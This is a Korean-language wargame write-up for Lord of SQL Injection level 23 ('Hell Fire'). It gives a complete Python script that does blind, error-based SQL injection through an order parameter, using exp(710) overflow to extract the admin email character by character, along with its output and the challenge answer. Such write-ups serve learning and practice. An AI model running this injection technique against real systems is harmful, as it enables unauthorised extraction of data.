WarGame/Lord of SQL Injection

[LOSI] Lord of SQL Injection Level 23 - Hell Fire

< 출처 : YES24 도서 : http://www.yes24.com/Product/Goods/32468559 >

이제 하다 하다 지옥의 불까지 몬스터로 나왔다. 어이가 없다. 바로 코드로 만나 보도록 하자. 이번에는 dark Eyes에서 이용했던 Error Based SQL Injection을 조금 깊게 이용한다.


코드

이번에 우리 ERROR BASED SQL Injection의 친구인 UNION이 금지당했다. 다른 방법의 ERROR 발생이 필요하다.

* 이 문제를 푸는 방법은 두가지 중 하나를 추천한다. sleep을 이용한 Time Based SQL Injection이나, exp() 함수를 이용한 Error 발생


해결방법

Answer Url : los.rubiya.kr/chall/XXXX.php?order=1&email=admin_secure_email@emai1.com
from requests import get
import string

url = "### HELL FIRE의 URL ###"
cookie = dict(PHPSESSID="### 자신의 PHPSESSID ###")
length = 0
password = ''
letters = string.ascii_letters + string.digits + string.punctuation


print("### find for pw length ###")
while(True) :
    param = "?order=(select exp(710) where "+str(length)+"=(select length(email) where id='admin'))"
    new_url = url+param
    rec = get(new_url,cookies=cookie)
    if(rec.text.find("rubiya805")<0) :
        print("find pw length : "+str(length))
        break
    else :
        print("PLease... : "+str(length))
        length+=1


print("### find for pw ###") 
for i in range(1,length+1) :
    temp_array = ''
    for a in letters :
        param = "?order=(select exp(710) where '"+str(ord(a))+"'=ASCII((select substr(email,"+str(i)+",1) where id='admin')))"
        new_url = url+param
        rec = get(new_url,cookies=cookie)

        if(rec.text.find("rubiya805")<0) :
            password += a
            print("total password",password)
            break
        

print("here's your passwrod : "+password)

코드는 exp()함수의 에러 발생을 이용하였다. 첫 번째 무한루프 문의 쿼리는 exp(710)이 오버플로를 일으킨다는 것을 이용해서 결과가 참이면 검색 후 문자열(rubiya805 >> 검색 성공 시 표시되는 id 'rubiya'의 email이다.)이 나오지 않으면 성공으로 조건을 지정하였다.(이번에는 에러가 나오면 성공이다.) 

* exp(parameter)는 자연로그의 및 e의 parameter제곱값을 반환한다. 이게 보통 709를 넘어가면 표현이 오버플로우되어 에러가 발생한다.

 

두 번째 루프에서는 검색된 length(email)인 28을 기준으로 substr과 ascii를 이용해서 검색을 하고 있다. string.punctuation까지 사용한 이유는 email이 "@"를 포함한 특수문자를 포함하기 때문이다. 이는 처음에 "@"만 타깃으로 삼았는데, 의외로 email자체에 특수문자"_"가 있었더라.

 

출력은 다음과 같다. 반복되는 출력은 ...으로 생략한다.

### find for pw length ###
PLease... : 0
PLease... : 1
PLease... : 2

...

PLease... : 27
find pw length : 28
### find for pw ###
total password a
total password ad
total password adm

...

here's your passwrod : admin_secure_email@emai1.com

축하한다.


이로써 Hell Fire를 무찌르며 우리의 Error Based SQL Injection의 수준이 한 단계 올라갔다. 필자는 다음 몬스터에서 여러분들을 기다리겠다.( Hell Fire부터는 필자로 새로 푸는 거라 포스팅 속도가 느릴 수도 있다. 양해 바란다.)